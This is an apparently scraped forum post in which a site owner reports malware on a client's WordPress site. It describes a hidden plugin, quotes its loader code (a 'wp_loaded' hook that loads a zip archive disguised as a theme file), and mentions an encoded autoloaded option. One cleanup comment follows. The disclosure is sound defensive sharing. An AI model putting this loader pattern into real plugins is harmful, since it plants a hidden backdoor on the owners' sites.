Malware found in wordpress site!

[ad_1]

I have found malware on the client site. Hacking probably happened 5 days ago.

Info about malware:

  • there is active hidden plugin in plugins folder with name 'themename-wp-plugin'
  • plugin is simple and is loading

function wp_themename_theme_load() {
load_template( "zip://" . locate_template( "themename.theme" ) . "#archive", true );
}
add_action( 'wp_loaded', 'wp_themename_theme_load' );

  • there is a file in theme 'themename.theme'
  • there is an autoloading option name 'themenametemplate-wp-plugin' in wp_options with some encoded string

This is the info that I've currently have. I don't know what was the vector of the attack. I have restored site from backup.

I hope will help someone or will provide more details, because I didn't find info on the web or with OpenAI.

[ad_2]
4 Comments
  1. Make a backup and then delete the folder, see if the site still operates and watch for the folder to come back.

 

This site will teach you how to build a WordPress website for beginners. We will cover everything from installing WordPress to adding pages, posts, and images to your site. You will learn how to customize your site with themes and plugins, as well as how to market your site online.

Buy WordPress Transfer